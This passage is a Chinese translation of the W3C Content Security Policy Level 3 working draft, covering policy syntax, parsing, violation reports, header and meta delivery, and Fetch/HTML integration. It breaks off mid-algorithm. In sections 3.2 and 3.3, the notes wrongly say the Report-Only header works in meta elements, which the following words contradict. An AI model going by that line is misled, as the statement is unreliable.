内容安全策略(Content Security Policy)第 3 版

W3C 工作草案,

关于此文档的更多细节
此版本
https://w3org.cn/TR/2026/WD-CSP3-20260505/
最新发布版本
https://w3org.cn/TR/CSP3/
编辑草案
https://w3c.github.io/webappsec-csp/
历史版本
历史
https://w3org.cn/standards/history/CSP3/
反馈
public-webappsec@w3.org,邮件主题请注明“[CSP3] …消息主题…” (归档)
Github
编辑
(Google Inc.)
(Google Inc.)
参与贡献
提交问题 (待处理问题)
测试
web-platform-tests content-security-policy/ (正在进行的工作)

摘要

本文档定义了一种机制,通过该机制,Web 开发者可以控制特定页面可以获取或执行的资源,以及一系列与安全相关的策略决策。

关于本文档

本节描述了本文件在发布时的状态。当前的 W3C 出版物列表和本技术报告的最新修订版可在 W3C 技术报告索引中找到。

本文档由 Web Application Security Working Group 作为工作草案发布,采用 Recommendation track。本文档旨在成为 W3C 推荐标准。

有关本规范的讨论,建议使用(已归档的)公开邮件列表 public-webappsec@w3.org(参见说明)。发送电子邮件时,请在主题中包含文本“CSP3”,建议格式为:“[CSP3] …评论摘要…

以工作草案形式发布并不意味着得到 W3C 及其成员的认可。这是草稿文件,可能随时被更新、替换或废止。引用此文档时应说明它仍在进行中。

本文由 Web 应用安全工作组 编写。

本文档由在 W3C 专利政策 下运作的工作组编写。W3C 维护一份 公开的专利披露列表,其中列出了与该工作组交付物相关的任何专利披露;该页面还包括披露专利的说明。任何实际了解某项专利且认为该专利包含 Essential Claim(s) 的个人,必须按照 W3C 专利政策第 6 节的规定进行披露。

本文件受 2025 年 8 月 18 日 W3C 流程文件的管辖。

以下功能存在风险,可能会在 CR 期间被删除:

“风险(At-risk)”是 W3C 流程中的术语,并不一定意味着该特性面临被删除或推迟的危险。这表示工作组认为该特性可能难以及时实现互操作,将其标记为此类允许工作组在转向“建议推荐标准(Proposed Rec)”阶段时,在必要的情况下删除该特性,而无需先发布一个不包含该特性的新“候选推荐标准(Candidate Rec)”。

1. 引言

本节不具有规范性。

本文档定义了内容安全策略 (CSP),这是一种开发者可以使用的工具,用于以各种方式锁定应用程序,降低跨站脚本等内容注入漏洞的风险,并降低其应用程序执行时的权限。

CSP 并不旨在作为防御内容注入漏洞的第一道防线。相反,CSP 最适合作为深度防御手段使用。它能减少恶意注入造成的损害,但不能替代仔细的输入验证和输出编码。

本文档是内容安全策略第 2 级的迭代,旨在更清晰地解释 CSP、HTML 和 Fetch 之间的交互,并为模块化扩展提供清晰的钩子。理想情况下,这将形成一个稳定的核心,在此基础上我们可以构建新的功能。

1.1. 示例

1.1.1. 控制执行

MegaCorp Inc 的开发者希望保护自己免受跨站脚本攻击。他们可以通过确保其可信 CDN 是脚本加载和执行的唯一来源,来降低脚本注入的风险。此外,他们希望确保没有任何插件能在其页面的上下文中执行。以下策略即实现了该效果。
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'

1.2. 目标

内容安全策略旨在实现以下几个相关目标:

  1. 通过给予开发者相当精细的控制权来降低内容注入攻击的风险,包括控制:

    • 可以代表特定 DocumentWorker 请求(并随后嵌入或执行)的资源

    • 内联脚本的执行

    • 动态代码执行(通过 eval() 及类似构造)

    • 内联样式的应用

  2. 通过给予开发者对可嵌入特定资源的来源的精细控制,降低攻击风险,这些攻击需要将资源嵌入恶意上下文中(例如 [TIMING] 中描述的“像素完美”攻击)。

  3. 提供一个策略框架,允许开发者降低其应用程序的权限。

  4. 提供一个报告机制,允许开发者检测在野外被利用的漏洞。

1.3. 与第 2 级的差异

本文档描述了内容安全策略第 2 级规范 [CSP2] 的演进。以下是变更的高级概述:

  1. 该规范已根据 [FETCH] 规范从头重写,这将使得 CSP 的需求和限制与其他规范(特别是与 Service Workers)的集成变得更加简单。

  2. child-src 模型已得到实质性改变:

    1. 在 CSP 第 2 级中被弃用的 frame-src 指令已取消弃用,但若不存在,则继续回退到 child-src(进而回退到 default-src)。

    2. 添加了 worker-src 指令,若不存在,则回退到 child-src(同样地,其进而回退到 script-src,最终回退到 default-src)。

  3. URL 匹配算法现在将不安全的方案和端口视为与它们的安全变体匹配。也就是说,源表达式 http://example.com:80 将同时匹配 http://example.com:80https://example.com:443

    同样地,'self' 现在匹配页面来源的 https:wss: 变体,即使在方案为 http 的页面上也是如此。

  4. 由内联脚本或样式生成的违规报告现在会将“inline”作为被阻止的资源报告。同样地,被阻止的 eval() 执行将报告“eval”作为被阻止的资源。

  5. 添加了 manifest-src 指令。

  6. report-uri 指令被弃用,转而支持新的 report-to 指令,后者依赖 [REPORTING] 作为基础设施。

  7. 'strict-dynamic' 源表达式现在将允许在页面上执行的脚本通过非 "解析器插入"script 元素加载更多脚本。详细信息请参阅 § 8.2 'strict-dynamic' 的使用

  8. 'unsafe-hashes' 源表达式现在将允许事件处理程序、样式属性和 javascript: 导航目标匹配哈希。详细信息请参阅 § 8.3 'unsafe-hashes' 的使用

  9. 源表达式匹配已更改,要求显式存在任何非 HTTP(S) 方案(而非 本地方案),除非该非 HTTP(S) 方案与受保护资源的方案相同,具体描述在 § 6.7.2.8 URL 是否匹配 origin 中的表达式(带重定向计数)? 中。

  10. 基于哈希的源表达式现在可以匹配外部脚本,如果触发该请求的 script 元素指定了一组当前策略中列出的完整性元数据。详细信息请参阅 § 8.4 通过哈希允许外部 JavaScript

  11. 如果相关指令包含 'report-sample' 表达式,则为内联违规生成的报告将包含一个 sample 属性。

2. 框架

2.1. 基础设施

本文档使用 ABNF 语法来规范语法,如 [RFC5234] 中定义。它还依赖于 [RFC9110] 第 5.6.1 节 中定义的 #rule ABNF 扩展,区别在于 OWSoptional-ascii-whitespace 取代。也就是说,本文档中使用的 #rule 定义为:

1#element => element *( optional-ascii-whitespace "," optional-ascii-whitespace element )

对于 n >= 1 和 m > 1:

<n>#<m>element => element <n-1>*<m-1>( optional-ascii-whitespace "," optional-ascii-whitespace element )

本文档依赖于 Infra 标准来获取其算法和正文中使用的许多基础概念 [INFRA]

以下定义用于提高本文档中其他定义的可读性。

optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 )
required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )
; These productions match the definition of ASCII whitespace from the INFRA standard.

2.2. 策略

策略定义了允许和限制的行为,并可应用于 DocumentWorkerGlobalScopeWorkletGlobalScope

每个策略都有一个关联的 指令集,这是一个 有序指令集,定义了应用时的影响。

每个策略都有一个关联的 配置,即“enforce”或“report”。

每个策略都有一个关联的 来源,即“header”或“meta”。

多个 策略 可以应用于单个资源。CSP 列表 是一个 结构体,由 策略(一个 策略列表)和一个 自身来源(一个在匹配 'self' 关键字时使用的 来源)组成。

注意:这是为了方便 本地方案 文档/Worker 的 'self' 检查,这些文档/Worker 继承了策略但拥有 不透明来源。大多数情况下,这仅是 环境设置对象来源

如果一个 CSP 列表策略 包含 一个 策略,且其 来源 为“header”,则该列表 包含由标头交付的内容安全策略

序列化 CSP 是一个 ASCII 字符串,由一系列分号分隔的 序列化指令 组成,遵循以下 ABNF 语法 [RFC5234]

serialized-policy =
    serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )

序列化 CSP 列表 是一个 ASCII 字符串,由一系列逗号分隔的 序列化 CSP 组成,遵循以下 ABNF 语法 [RFC5234]

serialized-policy-list = 1#serialized-policy
                    ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                    ; but it incorporates the modifications specified
                    ; in section 2.1 of this document.

2.2.1. 解析序列化的 CSP

若要 解析序列化 CSP,给定 字节序列字符串 serialized,一个 来源 source,以及一个 配置 disposition,执行以下步骤:

该算法返回一个 内容安全策略对象。如果无法解析 serialized,则对象的 指令集 将为空。

  1. 如果 serialized 是 字节序列,则将 serialized 设置为 同构解码 serialized 的结果。

  2. 令 policy 为一个新的 策略,具有一个空的 指令集,一个 source 来源,以及一个 disposition 配置。

  3. 对于通过在 U+003B 分号字符 (;) 上 严格拆分 serialized 而返回的每个 token:

    1. 从 token 中 去除首尾 ASCII 空白字符

    2. 如果 token 是空字符串,或者如果 token 不是 ASCII 字符串,则 继续

    3. 令 directive name 为从 token 中 收集非 ASCII 空白字符的代码点序列 的结果。

    4. 将 directive name 设置为对 directive name 运行 ASCII 小写化 的结果。

      注意:指令名称不区分大小写,即:script-SRC 'none'ScRiPt-sRc 'none' 是等效的。

    5. 如果 policy 的 指令集 包含一个名称为 directive name 的 指令,则 继续

      注意:在这种情况下,用户代理应当通知开发者重复的指令已被忽略。例如,控制台警告可能是合适的。

    6. 令 directive value 为 在 ASCII 空白字符上拆分 token 的结果。

    7. 令 directive 为一个新的 指令,其名称为 directive name,值为 directive value。

    8. 追加 directive 到 policy 的 指令集 中。

  4. 返回 策略

2.2.2. 解析响应的 Content Security Policies

若要 解析响应的 Content Security Policies,给定 响应 response,执行以下步骤:

该算法返回一个 CSP 列表。如果无法解析策略,则返回的列表将拥有空的 策略

  1. 令 policies 为一个空的 列表

  2. 对于通过 提取标头列表值(给定 Content-Security-Policy 和 response 的 标头列表)而返回的每个 token:

    1. 令 policy 为 解析 token 的结果,来源为“header”,配置为“enforce”。

    2. 如果 policy 的 指令集 不为空,则将 policy 追加到 policies 中。

  3. 对于通过 提取标头列表值(给定 Content-Security-Policy-Report-Only 和 response 的 标头列表)而返回的每个 token:

    1. 令 policy 为 解析 token 的结果,来源为“header”,配置为“report”。

    2. 如果 policy 的 指令集 不为空,则将 policy 追加到 policies 中。

  4. 返回一个 CSP 列表,其 策略 为 policies,自身来源 为 response 的 URL来源

注意:解析响应的内容安全策略 时,如果最终的 policies 包含至少一项,用户代理可以在 policies 上保留一个标志,并利用它优化 包含由标头交付的内容安全策略 算法。

2.3. 指令

每个 策略 包含一个 有序指令集(其 指令集),每个指令控制特定行为。本文档中定义的指令在 § 6 内容安全策略指令 中有详细描述。

每个 指令 都是一个 名称 / 对。名称是非空的 字符串,值是一组非空的 字符串。该值可以 为空

序列化指令 是一个 ASCII 字符串,由一个或多个空格分隔的标记组成,并遵循以下 ABNF [RFC5234]

serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
directive-name       = 1*( ALPHA / DIGIT / "-" )
directive-value      = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
                       ; Directive values may contain whitespace and VCHAR characters,
                       ; excluding ";" and ",". The second half of the definition
                       ; above represents all VCHAR characters (%x21-%x7E)
                       ; without ";" and "," (%x3B and %x2C respectively)

; ALPHA, DIGIT, and VCHAR are defined in Appendix B.1 of RFC 5234.

指令具有多个关联算法:

  1. 一个 请求前检查,它接受 request、policy 和 origin 作为参数,并在 § 4.1.2 请求是否应被 Content Security Policy 阻止? 期间执行。除非另有说明,该算法返回“Allowed”。

  2. 一个 请求后检查,它接受 request、response、policy 和 origin 作为参数,并在 § 4.1.3 对请求的响应是否应被 Content Security Policy 阻止? 期间执行。除非另有说明,该算法返回“Allowed”。

  3. 一个 内联检查,它接受 Element、类型字符串、policy 和源字符串作为参数,并在 § 4.2.3 元素的内联类型行为是否应被 Content Security Policy 阻止? 期间,以及在 § 4.2.4 类型的导航请求是否应被 Content Security Policy 阻止? 中针对 javascript: 请求期间执行。除非另有说明,该算法返回“Allowed”。

  4. 一个 初始化,它接受 Document 或 全局对象 以及 policy 作为参数。该算法在 § 4.2.1 运行 Document 的 CSP 初始化§ 4.2.6 运行全局对象的 CSP 初始化 期间执行。除非另有说明,它没有效果并返回“Allowed”。

  5. 一个 导航前检查,它接受 request、导航类型字符串(“form-submission”或“other”)、policy 和 origin 作为参数,并在 § 4.2.4 类型的导航请求是否应被 Content Security Policy 阻止? 期间执行。除非另有说明,它返回“Allowed”。

  6. 一个 导航响应检查,它接受 request、导航类型字符串、response、可导航对象、检查类型字符串(“source”或“response”)、policy 和 origin 作为参数,并在 § 4.2.5 目标中类型的导航响应是否应被 Content Security Policy 阻止? 期间执行。除非另有说明,它返回“Allowed”。

  7. 一个 WebRTC 连接前检查,它接受 policy,并在 § 4.3.1 RTC 连接是否应被 global 阻止? 期间执行。除非另有说明,它返回“Allowed”。

2.3.1. 源列表

许多 指令源列表 组成:标识可以获取并可能嵌入或执行的内容的 字符串集。每个 字符串 代表以下类型的 源表达式 之一:

  1. 关键字,例如 'none''self'(分别匹配空集和当前 URL 的来源)

  2. 序列化 URL,例如 https://example.com/path/to/file.js(匹配特定文件)或 https://example.com/(匹配该来源上的所有内容)

  3. 方案,例如 https:(匹配任何具有指定方案的资源)

  4. 主机,例如 example.com(匹配主机上的任何资源,无论方案如何)或 *.example.com(匹配主机子域上的任何资源,及其所有子子域上的资源,依此类推)

  5. Nonces,例如 'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'(可以匹配页面上的特定元素)

  6. 摘要,例如 'sha256-abcd...'(可以匹配页面上的特定元素)

序列化源列表 是一个 ASCII 字符串,由一系列空格分隔的 源表达式 组成,遵循以下 ABNF 语法 [RFC5234]

serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                         / nonce-source / hash-source

; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"

; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
              ; scheme is defined in section 3.1 of RFC 3986.
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char   = ALPHA / DIGIT / "-"
port-part   = 1*DIGIT / "*"
path-part   = path-absolute (but not including ";" or ",")
              ; path-absolute is defined in section 3.3 of RFC 3986.

; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
                 / "'strict-dynamic'" / "'unsafe-hashes'"
                 / "'report-sample'" / "'unsafe-allow-redirects'"
                 / "'wasm-unsafe-eval'" / "'trusted-types-eval'"
                 / "'report-sha256'" / "'report-sha384'"
                 / "'report-sha512'" / "'unsafe-webtransport-hashes'"

ISSUE: Bikeshed unsafe-allow-redirects.

; Nonces: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

; Digests: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"

host-char 产生式有意仅包含 ASCII 字符;国际化域名不能直接作为 序列化 CSP 的一部分输入,而必须是 Punycode 编码 [RFC3492]。例如,域名 üüüüüü.de 必须表示为 xn--tdaaaaaa.de

注意:尽管 IP 地址符合上述语法,但当在源表达式中使用时,只有 127.0.0.1 才会真正匹配 URL(详细信息请参阅 § 6.7.2.7 URL 是否匹配 origin 中的源列表(带重定向计数)?)。IP 地址的安全属性值得怀疑,作者应尽可能优先使用主机名。

注意:base64-value 语法允许 base64base64url 编码。这些编码在处理 hash-source 值时被视为等效。然而,Nonces 是严格的字符串匹配:我们使用 base64-value 语法来限制可用字符,并降低服务器端操作员的复杂性(编码等),但用户代理并不关心底层值,也不会对 nonce-source 值进行任何解码。

2.4. 违规

违规代表一个违反了与 全局对象 关联的 策略 对象集的动作或资源。

每个 违规 都有一个 全局对象,这是其 策略 被违反的 全局对象

每个 违规 都有一个 url,即其 全局对象URL

每个 违规 都有一个 状态,是一个非负整数,代表实例化全局对象的资源的 HTTP 状态码。

每个 违规 都有一个 资源,即 null、“inline”、“eval”、“wasm-eval”、“trusted-types-policy”、“trusted-types-sink” 或一个 URL。它代表违反了策略的资源。

注意:违规资源 为 null 仅在违规信息填充期间允许。在 违规 被报告并使用其 资源 进行 获取被阻止 URI 时,违规资源 应已填充为 URL 或允许的字符串之一。

每个 违规 都有一个 引用者,即 null 或 URL。它代表其策略被违反的资源的引用者。

每个 违规 都有一个 策略,即被违反的 策略

每个 违规 都有一个 配置,即被违反的 策略配置

每个 违规 都有一个 有效指令,是一个非空字符串,代表其执行导致违规的 指令

每个 违规 都有一个 源文件,即 null 或 URL

每个 违规 都有一个 行号,是一个非负整数。

每个 违规 都有一个 列号,是一个非负整数。

每个 违规 都有一个 元素,即 null 或一个元素。

每个 违规 都有一个 样本,是一个字符串。除非另有说明,否则为空字符串。

注意:违规样本 将填充导致违规的内联脚本、事件处理程序或样式的前 40 个字符。源自外部文件的违规不会在违规报告中包含样本。

2.4.1. 为 global、policy 和 directive 创建违规对象

给定 全局对象 global、策略 policy 以及 字符串 directive,以下算法创建一个新的 违规 对象,并为其填充初始数据集:

  1. 令 violation 为一个新的 违规,其 全局对象 为 global,策略 为 policy,有效指令 为 directive,资源 为 null。

  2. 如果用户代理当前正在执行脚本,并且可以从 global 中提取源文件的 URL、行号和列号,则相应地设置 violation 的 源文件行号列号

    这类事情在任何地方有规定吗?我在 [ECMA262] 中没有看到任何看起来有用的东西。

    注意:用户代理需要确保 源文件 是页面请求的 URL(重定向之前)。如果无法做到这一点,用户代理需要将 URL 剥离到来源,以避免意外泄露。

  3. 如果 global 是 Window 对象,将 violation 的 引用者 设置为 global 的 文档referrer

  4. 将 violation 的 状态 设置为 violation 的 全局对象 关联资源的 HTTP 状态码。

    我们到底如何获取状态码?我们实际上并没有将其存储在任何地方。

  5. 返回 violation。

2.4.2. 为 request 和 policy 创建违规对象

给定 请求 request、策略 policy,以下算法创建一个新的 违规 对象,并为其填充初始数据集:

  1. 令 directive 为对 request 执行 § 6.8.1 获取请求的有效指令 的结果。

  2. 令 violation 为对 request 的 客户端全局对象、policy 和 directive 执行 § 2.4.1 为 global、policy 和 directive 创建违规对象 的结果。

  3. 将 violation 的 资源 设置为 request 的 URL

    注意:我们使用 request 的 URL,而当前 URL,因为后者可能包含页面绝对不得访问的重定向目标信息。

  4. 返回 violation。

3. 策略交付

服务器可以通过一个 HTTP 响应标头字段为特定 资源表示 声明 策略,该字段的值为一个 序列化 CSP。此机制在 § 3.1 Content-Security-Policy HTTP 响应标头字段§ 3.2 Content-Security-Policy-Report-Only HTTP 响应标头字段 中有详细定义,与 Fetch 和 HTML 的集成在 § 4.1 与 Fetch 集成§ 4.2 与 HTML 集成 中描述。

策略也可以通过 meta 元素的 http-equiv 属性在 HTML 文档中内联声明,如 § 3.3 <meta> 元素 所述。

3.1. Content-Security-Policy HTTP 响应标头字段

Content-Security-Policy HTTP 响应首部字段是将策略从服务器交付到客户端的首选机制。该首部的值由以下 ABNF [RFC5234] 表示。

Content-Security-Policy = 1#serialized-policy
                    ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                    ; but it incorporates the modifications specified
                    ; in section 2.1 of this document.
Content-Security-Policy: script-src 'self';
                         report-to csp-reporting-endpoint

对于同一资源的各种表现形式,服务器可以发送不同的 Content-Security-Policy 首部字段值。

当用户代理接收到 Content-Security-Policy 首部字段时,它必须解析强制执行其中包含的每个序列化 CSP,具体方式如 § 4.1 与 Fetch 集成§ 4.2 与 HTML 集成 所述。

3.2. Content-Security-Policy-Report-Only HTTP 响应首部字段

Content-Security-Policy-Report-Only HTTP 响应首部字段允许 Web 开发人员通过监视(而非强制执行)策略的影响来试验策略。该首部的值由以下 ABNF [RFC5234] 表示。

Content-Security-Policy-Report-Only = 1#serialized-policy
                    ; The '#' rule is the one defined in section 5.6.1 of RFC 9110
                    ; but it incorporates the modifications specified
                    ; in section 2.1 of this document.

该首部字段允许开发人员以迭代方式拼凑其安全策略:根据对站点行为的最佳预估部署只报告(report-only)策略,观察违规报告,并在对该行为建立信心后转向强制执行策略。

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-to csp-reporting-endpoint

对于同一资源的各种表现形式,服务器可以发送不同的 Content-Security-Policy-Report-Only 首部字段值。

当用户代理接收到 Content-Security-Policy-Report-Only 首部字段时,它必须解析监视其中包含的每个序列化 CSP,具体方式如 § 4.1 与 Fetch 集成§ 4.2 与 HTML 集成 所述。

注意:Content-Security-Policy-Report-Only 首部支持在 meta 元素内使用。

3.3. <meta> 元素

Document 可以通过一个或多个 HTML meta 元素交付策略,这些元素的 http-equiv 属性应与字符串 "Content-Security-Policy" 进行不区分大小写的 ASCII 匹配。例如:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

实现细节可在 HTML 的 Content Security Policy 状态 http-equiv 处理指令 [HTML] 中找到。

注意:Content-Security-Policy-Report-Only 首部支持在 meta 元素内使用。report-uriframe-ancestorssandbox 指令也不支持。

强烈建议作者尽可能早地将 meta 元素置于文档中,因为 meta 元素中的策略不会应用于其前面的内容。特别需要注意的是,使用 Link HTTP 响应首部字段获取或预取的资源,以及在 meta 交付的策略之前使用 linkscript 元素获取或预取的资源,将不会被阻止。

注意:通过 meta 元素指定的策略将与受保护资源激活的任何其他策略一起强制执行,无论它们是在何处指定的。强制执行多项策略的总体影响在 § 8.1 多项策略的影响 中有所描述。

注意:meta 元素在解析后,对其 content 属性的修改将被忽略。

4. 集成

本节是非规范性的。

本文档定义了一组用于其他规范以实现功能的算法。此处为了清晰起见概述了这些集成,但应查阅那些外部文档以获取详细的规范参考信息。

4.1. 与 Fetch 集成

许多指令通过各种方式控制资源加载。本规范提供的算法允许 Fetch 决定是否应阻止或允许特定的请求,以及是否应将特定的响应替换为网络错误

  1. § 4.1.2 请求是否应被内容安全策略阻止?Main Fetch 算法第 2.4 步的一部分。这允许在请求到达网络之前,以及在请求到达资源的过程中可能经历的每次重定向时,根据指令的请求前检查来执行判定。

  2. § 4.1.3 对请求的响应是否应被内容安全策略阻止?Main Fetch 算法第 11 步的一部分。这允许根据从网络或 Service Worker 交付的响应执行指令的请求后检查

4.1.1. request 报告内容安全策略违规

给定一个请求 request,该算法基于策略容器 CSP 列表中的“仅报告”策略来报告违规。

  1. CSP listrequest策略容器 CSP 列表

  2. 对于 CSP list策略中的每个 policy

    1. 如果 policy处置方式为 "enforce",则跳至下一个 policy

    2. violates 为执行 § 6.7.2.1 请求是否违反策略?(基于 requestpolicyCSP list自身来源)的结果。

    3. 如果 violates 不为 "Does Not Violate",则执行 § 5.5 报告违规(基于 § 2.4.2 为请求和策略创建违规对象requestpolicy 执行的结果)。

4.1.2. request 是否应被内容安全策略阻止?

给定一个请求 request,该算法返回 BlockedAllowed,并基于 request策略容器 CSP 列表报告违规。

  1. CSP listrequest策略容器 CSP 列表

  2. result 为 "Allowed"。

  3. 对于 CSP list策略中的每个 policy

    1. 如果 policy处置方式为 "report",则跳至下一个 policy

    2. violates 为执行 § 6.7.2.1 请求是否违反策略?(基于 requestpolicyCSP list自身来源)的结果。

    3. 如果 violates 不为 "Does Not Violate",则

      1. 执行 § 5.5 报告违规(基于 § 2.4.2 为请求和策略创建违规对象requestpolicy 执行的结果)。

      2. result 设为 "Blocked"。

  4. 返回 result

4.1.3. requestresponse 是否应被内容安全策略阻止?

给定一个响应 response 和一个请求 request,该算法返回 BlockedAllowed,并基于 request策略容器 CSP 列表报告违规。

  1. CSP listrequest策略容器 CSP 列表

  2. result 为 "Allowed"。

  3. 对于 CSP list策略中的每个 policy

    1. 对于 policy 中的每个 directive

      1. 如果执行 directive请求后检查(基于 requestresponsepolicyCSP list自身来源)的结果为 "Blocked",则

        1. 执行 § 5.5 报告违规(基于 § 2.4.2 为请求和策略创建违规对象requestpolicy 执行的结果)。

        2. 如果 policy处置方式为 "enforce",则将 result 设为 "Blocked"。

    注意:该检查部分验证页面是否可以加载响应。也就是说,Service Worker 没有替换会违反页面 CSP 的文件。

  4. 返回 result

4.1.4. 潜在报告哈希

给定一个响应 response、一个请求 request、一个指令 directive 和一个内容安全策略对象 policy,执行以下步骤:

  1. algorithm 为空字符串

  2. 如果 directive包含表达式 "'report-sha256'",则将 algorithm 设为 "sha256"。

  3. 如果 directive包含表达式 "'report-sha384'",则将 algorithm 设为 "sha384"。

  4. 如果 directive包含表达式 "'report-sha512'",则将 algorithm 设为 "sha512"。

  5. 如果 algorithm 为空字符串,则返回。

  6. hash 为空字符串

  7. 如果 responseCORS 同源,则

    1. h 为对 response主体algorithm 应用算法到字节的结果。

    2. hashalgorithm、U+2D (-) 和 h拼接结果。

  8. globalrequest客户端全局对象

  9. 如果 global 不是 Window,则返回。

  10. stripped document URL 为执行 § 5.4 剥离 URL 以用于报告(基于 global文档URL)的结果。

  11. 如果 policy指令集不包含名为 "report-to" 的指令,则返回。

  12. report-to directivepolicy指令集中名为 "report-to" 的指令

  13. body 为一个 csp 哈希报告主体,其 documentURLstripped document URLsubresourceURLrequest 的 URL,hashhashdestinationrequest目的地type 为 "subresource"。

  14. 生成并排队报告,参数如下:

    context

    设置对象

    type

    "csp-hash"

    destination

    report-to directive

    data

    body

4.2. 与 HTML 集成

  1. 策略容器具有一个 CSP 列表,其中保存了对于给定上下文处于激活状态的所有策略对象。除非另有说明,此列表为空,并通过解析响应的内容安全策略,或按照策略容器的规则进行继承,从而从响应中填充。

  2. 全局对象CSP 列表 是执行 § 4.2.2 检索对象的 CSP 列表(以全局对象作为 object)的结果。

  3. 一个策略对于全局对象强制执行监视的,只需将其插入到全局对象CSP 列表中即可。

  4. § 4.2.1 为 Document 运行 CSP 初始化创建并初始化新 Document 对象 算法期间调用。

  5. § 4.2.3 元素的内联类型行为是否应被内容安全策略阻止?准备脚本元素更新 style 块 算法期间调用,以确定是否允许执行/渲染内联脚本或样式块。

  6. § 4.2.3 元素的内联类型行为是否应被内容安全策略阻止? 在处理内联事件处理器(如 onclick)和内联 style 属性期间调用,以确定是否允许它们执行/渲染。

  7. 策略在处理 meta 元素的 http-equiv 期间被强制执行

  8. HTML 使用负责资源加载的元素的相关数据,填充每个请求加密随机数元数据解析器元数据

    在 WHATWG HTML 中,样式表加载尚未与 Fetch 集成。 [whatwg/html Issue #968]

  9. § 6.3.1.1 base 是否允许用于文档?base设置冻结 base URL 算法期间调用,以确保 href 属性的值有效。

  10. § 4.2.4 类型的导航请求是否应被内容安全策略阻止?通过获取创建导航参数 算法期间调用;§ 4.2.5 目标中类型的导航响应对导航请求是否应被内容安全策略阻止?尝试填充历史记录条目的文档 算法期间调用,以应用指令的导航检查,以及针对 javascript: URL 的内联检查。

  11. § 4.2.6 为全局对象运行 CSP 初始化运行 worker 算法期间调用。

  12. sandbox 指令用于填充 CSP 派生的沙盒标志

4.2.1. 为 Document 运行 CSP 初始化

给定一个 Document document,用户代理执行以下步骤以初始化 document 的 CSP:

  1. 对于 document策略容器 CSP 列表中的每个 policy

    1. 对于 policy 中的每个 directive

      1. documentpolicy 执行 directive初始化算法,并断言:其返回值为 "Allowed"。

4.2.2. 检索 objectCSP 列表

要获取 objectCSP 列表

  1. 如果 objectDocument,则返回 object策略容器 CSP 列表

  2. 如果 objectWindowWorkerGlobalScopeWorkletGlobalScope,则返回环境设置对象策略容器 CSP 列表

  3. 返回 null。

4.2.3. element 的内联 type 行为是否应被内容安全策略阻止?

给定 Element element、字符串 type 和字符串 source,若允许该元素具有特定类型的内联行为定义(脚本执行、样式应用、事件处理器等),则此算法返回 "Allowed",否则返回 "Blocked"。

注意:type 的有效值为 "script"、"script attribute"、"style" 和 "style attribute"。

  1. 断言:element 不为 null。

  2. result 为 "Allowed"。

  3. 对于 elementDocument全局对象CSP 列表策略中的每个 policy

    1. 对于 policy指令集中的每个 directive

      1. 如果 directive内联检查在对 elementtypepolicysource 执行时返回 "Allowed",则跳至下一个 directive

      2. directive-name 为执行 § 6.8.2 获取内联检查的有效指令(基于 type)的结果。

      3. 否则,令 violation 为执行 § 2.4.1 为全局对象、策略和指令创建违规对象(基于当前设置对象全局对象policydirective-name)的结果。

      4. violation资源设为 "inline"。

      5. violation元素设为 element

      6. 如果 directive包含表达式 "'report-sample'",则将 violation样本设为 source 的前 40 个字符组成的子字符串。

      7. violation 执行 § 5.5 报告违规

      8. 如果 policy处置方式为 "enforce",则将 result 设为 "Blocked"。

  4. 返回 result

4.2.4. typenavigation request 是否应被内容安全策略阻止?

给定一个请求 navigation request 和一个字符串 type("form-submission" 或 "other"),若激活的策略阻止导航,此算法返回 "Blocked",否则返回 "Allowed"。

  1. result 为 "Allowed"。

  2. CSP listnavigation request策略容器 CSP 列表策略

  3. 对于 CSP list策略中的每个 policy

    1. 对于 policy 中的每个 directive

      1. 如果 directive导航前检查在对 navigation requesttypepolicyCSP list自身来源执行时返回 "Allowed",则跳至下一个 directive

      2. 否则,令 violation 为执行 § 2.4.1 为全局对象、策略和指令创建违规对象(基于 navigation request客户端全局对象policydirective名称)的结果。

      3. violation资源设为 navigation request URL

      4. violation 执行 § 5.5 报告违规

      5. 如果 policy处置方式为 "enforce",则将 result 设为 "Blocked"。

  4. 如果 result 为 "Allowed",且 navigation request当前 URL方案javascript

    1. 对于 navigation request策略容器 CSP 列表策略中的每个 policy

      1. 对于 policy 中的每个 directive

        1. directive-name 为执行 § 6.8.2 获取内联检查的有效指令(基于 "navigation")的结果。

        2. 如果 directive内联检查在对 null、"navigation"、policynavigation request当前 URL 执行时返回 "Allowed",则跳至下一个 directive

        3. 否则,令 violation 为执行 § 2.4.1 为全局对象、策略和指令创建违规对象(基于 navigation request客户端全局对象policydirective-name)的结果。

        4. violation资源设为 "inline"。

        5. violation 执行 § 5.5 报告违规

        6. 如果 policy处置方式为 "enforce",则将 result 设为 "Blocked"。

  5. 返回 result

4.2.5. targettypenavigation responsenavigation request 是否应被内容安全策略阻止?

给定一个请求 navigation request、一个响应 navigation response、一个 CSP 列表 response CSP list、一个字符串 type("form-submission" 或 "other")以及一个可导航项 target,若激活的策略阻止该导航,此算法返回 "Blocked",否则返回 "Allowed"。

  1. result 为 "Allowed"。

  2. 对于 response CSP list策略中的每个 policy

    注意:某些指令(如 frame-ancestors)允许响应内容安全策略对导航采取行动。

    1. 对于 policy 中的每个 directive

